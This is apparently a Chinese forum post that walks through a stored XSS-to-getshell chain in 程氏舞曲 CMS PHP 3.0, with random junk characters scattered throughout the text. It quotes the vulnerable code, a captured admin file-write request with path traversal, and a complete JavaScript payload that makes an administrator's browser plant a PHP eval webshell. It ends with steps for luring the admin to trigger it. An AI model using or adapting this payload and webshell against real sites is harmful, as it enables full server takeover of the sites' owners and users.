程氏舞曲CMSPHP3.0 储存型xss getshell

admin

这个cms 以前 90有人发了个getshell,当时 是后台验证文件的问题 - Q+ X/ p/ J, d: p. i7 N官网已经修补了，所以重新下了源码 6 U$ Q' S* f" ]% C因为 后台登入 还需要认证码 所以 注入就没看了。 9 d- O/ c6 {' I! i" C存在 xss 漏洞文件 user/member/skin_edit.php 5 k" m+ h2 e) c1 }本帖隐藏的内容<tr><td style="height:130px;"><span class="t"><i>*</i>签名： * u5 x! v8 S7 ?6 \! ^5 G6 H5 t   </span><textarea style="width:435px;height:120px;" id="content" name="CS_Qianm"><?php echo $cscms_qianm?> 9 B1 l6 A* R" p3 q$ l   </textarea></td></tr>                 user/do.php 7 g- i7 w  T7 _/ b3 |, H& ~   H  f: ~7 ~' ]0 \9 C2 A) Q # J8 ^8 I- [% Q1 O. G6 Mif($op=='zl'){ //资料    7 b8 P9 y4 j& \: Q+ b  R             if(empty($CS_QQ)||empty($CS_Nichen)||empty($CS_City)||empty($CS_Email))              exit(Msg_Error('抱歉,请把资料填写完整!','javascript:history.go(-1);')); " q" }" L: Q- n9 g! v; M   6 r+ V' X# l, s6 O! X             $sql="update ".Getdbname('user')." set CS_Nichen='".$CS_Nichen."',CS_Email='".$CS_Email."', 1 @9 j7 Y  y5 R# p( c1 p   : y: ?1 k& T! G3 O. Z9 ]! e* B9 F$ w             CS_Sex=".$CS_Sex.",CS_City='".$CS_City."',CS_QQ='".$CS_QQ."',CS_Qianm='".$CS_Qianm."'              where CS_Name='".$cscms_name."'"; ( t# R1 T7 {/ Z                if($db->query($sql)){ % H' u3 G( r; Y- l7 I) `   ( a* }$ N, m% `              exit(Msg_Error('恭喜您，修改成功了!','javascript:history.go(-1);')); 0 L  ?% c% t) F8 ~4 k3 E                }else{ 6 V; t0 K2 N) ?0 w                 exit(Msg_Error('抱歉，修改失败了!','javascript:history.go(-1);')); 6 V0 j9 T4 ^7 X/ e1 T                } 5 M% W; d5 P( B$ H, n% N/ ]! R4 f . s) }* o8 |$ U+ F, J0 p 没有 过滤导致xss产生。 2 h4 X2 n* [) B: x6 o1 q后台 看了下 很奇葩的是可以写任意格式文件。。 抓包。。 # d2 g# P, R' ]' R; d# g/ c本帖隐藏的内容POST /admin/skins/skins.php?ac=xgmb&op=go&path=../../skins/index/html/ HTTP/1.1 * |8 `+ U7 t4 Y- v   Accept: text/html, application/xhtml+xml, */*    8 }. d3 H$ o- iReferer: http://127.0.0.1/admin/skins/ski ... l/&name=aaa.php 2 L- |- x2 A: N" i; \0 v" w3 l   " x' h1 X' i* K- UAccept-Language: zh-CN    User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)    & ~5 l6 U6 g' ]& CContent-Type: application/x-www-form-urlencoded    Accept-Encoding: gzip, deflate   x) _9 z! p7 F! R# ?: o9 P" b   Host: 127.0.0.1 * ~! I& l  d& ]: {   Content-Length: 38 2 [! A% L8 T9 J8 r2 p$ {: _   3 Y& ~3 N0 _4 w1 D% q) r+ uDNT: 1 % d% m6 W; y$ i, x* n   Connection: Keep-Alive    0 ~% S3 a0 V/ N) k4 x$ ?3 ~Cache-Control: no-cache    7 G( @9 j7 R4 BCookie: CS_AdminID=1; CS_AdminUserName=aaaa; CS_AdminPassWord=12949e83a49a0989aa46ab7e249ca34d; CS_Quanx=0_1%2C1_1%2C1_2%2C1_3%2C1_4%2C1_5%2C2_1%2C2_2%2C2_3%2C2_4%2C2_5%2C2_6%2C2_7%2C3_1%2C3_2%2C3_3%2C3_4%2C4_1%2C4_2%2C4_3%2C4_4%2C4_5%2C4_6%2C4_7%2C5_1%2C5_2%2C5_3%2C5_4%2C5_5%2C6_1%2C6_2%2C6_3%2C7_1%2C7_2%2C8_1%2C8_2%2C8_3%2C8_4; CS_Login=980bb0dfb9c7ba8ac7676b6f4eea2c4b; CS_AdminUP=1; cs_id=2; cs_name=test; PHPSESSID=36db4a484bdbd090ad9846e3b7f65594    8 E, [7 S% s  n! u6 Z " K0 a0 B0 q3 s3 U+ @4 U! T" Iname=aaa.php&content=%3Cs%3E%3Ca%25%3E & Q" p1 v  i: S8 V+ t 4 N- b: P. u4 y- b" p0 A' Z于是 构造js如下。 - ]" r& s* a0 x 本帖隐藏的内容<script> 5 q' M, w0 y: u5 V( S" J8 ~thisTHost = top.location.hostname;    9 {$ ~* }+ d9 FthisTHost = "http://" + thisTHost + "/admin/skins/skins.php?ac=xgmb&op=go&path=../../skins/index/html/";    8 o% H+ }. |8 ?function PostSubmit(url, data, msg) { 2 R' W; }! [8 T7 ~* Z    var postUrl = url;        var postData = data; 6 ]# x5 B3 a" L; M    var msgData = msg; : u% d( U0 G0 M2 l9 G    var ExportForm = document.createElement("FORM"); & y+ Y- N5 r3 d" E! J" d9 s4 S    document.body.appendChild(ExportForm);     ExportForm.method = "POST";     var newElement = document.createElement("input"); ; |0 y$ l2 e! j3 |1 e    newElement.setAttribute("name", "name");     newElement.setAttribute("type", "hidden");     var newElement2 = document.createElement("input");     newElement2.setAttribute("name", "content");     newElement2.setAttribute("type", "hidden");     ExportForm.appendChild(newElement); + C8 ^: |5 o% `5 L0 w6 P% s; e    ExportForm.appendChild(newElement2);     newElement.value = postData;     newElement2.value = msgData; - j& u9 k3 t3 X6 V" h$ |7 ~. N4 y    ExportForm.action = postUrl;     ExportForm.submit(); . ^5 D4 f, W6 Y( x0 r$ Z$ y}; ( b8 x; J8 d5 ?9 ?6 t   PostSubmit(thisTHost,"roker.php","<?php @eval($_POST[123]);?>");    </script> ( |9 ^: B; W, E, _. ] / `7 r% c/ ^2 _' B8 I# j% [) shttp://127.0.0.1/user/space.php?ac=edit&op=zl 修改签名处 插入 ) |* H7 j/ c5 b4 q) c# {( Y用你的账号给管理写个 私信 或者让他访问  你的主页http://127.0.0.1/home/?uid=2（uid自己改） 就会 在 skins\index\html\目录下生成 roker.php 一句话。

6 w+ W6 k/ k$ j; j8 c# T